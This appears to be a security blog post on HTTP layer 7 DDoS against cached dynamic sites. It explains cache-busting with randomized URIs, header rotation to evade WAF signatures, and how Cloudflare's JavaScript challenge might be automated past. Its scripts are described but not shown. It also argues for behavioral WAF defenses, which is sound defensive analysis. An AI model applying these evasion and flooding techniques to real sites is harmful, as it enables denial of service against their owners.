Volumetric layer 7 (HTTP) DDoS typically relies on overwhelming the target by inundating the target with a large number of (pseudo) legitimate HTTP requests, the end goal being resource starvation (typically, CPU cycles or available bandwidth, e.g. NIC saturation). Because layer 7 attacks require a full three-way handshake, spoofing source information is impossible (though using a proxy is a viable alternative- remember the XMLRPC issues earlier this year?); as such, the ability to control a large number of attacking machines becomes critical as the size of the target increases. Of course, other forms of HTTP DoS exist outside of volumetric resource starvation (such as Slowloris), but I wanted to take a look at common methods of defending (and circumventing said defenses) against resource starvation attacks via HTTP. This will also serve to demonstrate the weakness in deploying WAFs that rely exclusively on signature-based matching.

Launching a large number of legitimate requests against a single server is trivial using tools like apachebench, or even asynchronous curl calls. Of course, as modern web applications become increasingly complex and dynamic (e.g. WordPress), the focus of resource starvation shifts from overloading the HTTP server itself to overwhelming whatever dynamic stack is supporting the application (PHP, Rails, Python, etc). Loading the WordPress core is insanely expensive compared to serving static media file (and here the choice of HTTP server doesn’t matter- grab any small VPS, and setup WP core with both Apache + mod_php/fcgi and Nginx + php-fpm, and you’ll make it fall over just as easily). In such cases, the key to avoiding runaway load is to insert a caching layer between the client and backend content generator, and enable full page caching- the argument of using a caching service or CDN to offload serving static resources is bunk, for the reasons just mentioned. Varnish and Nginx are both options for this, but obviously require administrative/shell access (or a managed service) to enable, so this isn’t an option for Soccer Mom Susie’s photo album.

Cloud reverse proxy services offer the same functionality- offloading resource requests to a downstream listener, and passing only requests that need to be re-fetched upstream. Of course, even will full page caching, it’s fairly trivial to send a large number of requests with a rotating cache key (e.g. URI, query strings, etc), forcing the caching server to constantly requests full page content from the origin. We can accomplish this easily with a bit of Bash:

We generate a random string using urandom, and spawn a number of requests in the background for a resource with that name. We don’t really care about the response, and we want to send as many requests as possible, so we background each request. We do want to examine the header response for status, so we dump the headers to stdout (-D -) instead of just using HEAD requests (large numbers of HEADs are more likely to illicit an alert from the IDS/WAF). Even though we’re almost certainly guaranteed to receive a 404, we’re still forcing the application core to load- and receiving a 404 is essentially the point, because we want to request a non-existent (and therefore non-cacheable) resource. Of course, we need to spoof a few headers to make writing signature responses to this type of request more difficult; we can easily rotate the user agent with something like Chris Pedericks list of user agents, and we can shuffle the length and number of query parameters, but these fall outside the scope of our discussion- what we’ve shown is that it’s easy to launch a number of requests that are almost guaranteed to be fetched from origin.

So, we’ve shown it’s trivial to overload a resource-intensive origin through an existing non-blocking caching proxy, without needing to directly talk to the origin. Cloudflare offers protection against this sort of attack with their “I’m Under Attack Mode”. According to Cloudflare’s page:

After verified as legitimate by the automated tests, visitors are able to browse your site unencumbered. Javascript and cookies are required for the tests, and to record the fact that the tests were correctly passed. The page which your visitors see when in IUAM can be fully customized to reflect your branding. I’m Under Attack mode does not block search engine crawlers or your existing CloudFlare whitelist.

Time to pick this apart. First-time visits (e.g. those without a clearance cookie set) are greeted with a 503 error and the above-noted page, which contains Javascript with content that looks like this:

And a simple form with two hidden values:

4 vars to hold some basic DOM info (one of which is the scheme and host length), as well as a randomly-named object that holds the actual challenge response. The response is calculated with some wonky unary arithmetic operations, and appended to the form’s “jschl_answer” input. A reponse is then sent to the /cdn-cgi/l/chk_jschl resource, which validates the challenge response, and, if successful, returns a 301 to the initially requested resource, as well as a “cf_clearance” cookie (the value is a UUID). The presence of this cookie in subsequent requests bypasses further challenges. It’s a reasonable approach- each unverified request generates a new challenge, which contain different arithmetic operations, and cf_clearance cookies seem to be restricted to an individual IP. However, I can imagine it would be fairly easy to leverage something like PhantomJS or V8 to initiate a single request to a protected domain, parse the clearance challenge, and save the response cookie for further use (though I haven’t tested this yet- this protection mode is only available with Cloudflare’s Enterprise (read: $3000 / month) plan). Update: Anorov was kind enough to share a link to a python module that accomplishes this. See comments below.

Even if we’re able to parse out the cookie and automate this process, we’re still stuck with the inherent problem of full-connection resource starvation- it becomes trivial to manually identify and block client addresses requesting an unreasonable obscene amount of resources. Any decent admin should be able to spot this pattern and deny the client at the reverse proxy layer. This manual reaction, of course, presumes either the presence of a competent admin working in the interests of the target, or ongoing monitoring and reaction from the proxy provider, and we can only speculate at the efficacy and timeliness of a service provider’s support response (let’s shy away from anecdotes in the web hosting industry, yeah?).

Automated response of this sort of traffic can be more difficult, especially when using reactive measures built solely on signature matching. A rule can certainly be written that matches our randomized request pattern- but stateless transaction analysis will only get you so far. It’s trivial to change our request pattern, add new or different query keys, or rotate spoofed headers. As a WAF signature becomes more targeted to our specific pattern (e.g., one that matches exactly our presented UA (via regex), Referer, URI, and query string), it becomes easier to evade by changing request parameters; conversely, broader-scoped WAF rules run the risk of eliciting false positive from legitimate requests. Thus, the need for WAF environments that augment signature matching with behavioral analysis become critical in defending against complex, distributed volumetric attacks. Analysis of client request rate compared to historic averages, origin response status code, previously flagged client behavior, and request distribution are a few metrics that can be used to determine the legitimacy of a clients behavior.

So, while it’s not likely that we can launch an extended resource starvation attack against a CF-protected host without the use of a large number of (preferably netblock-heterogeneous) hosts, we can certainly circumvent existing technologies to block automated origin-fetch requests.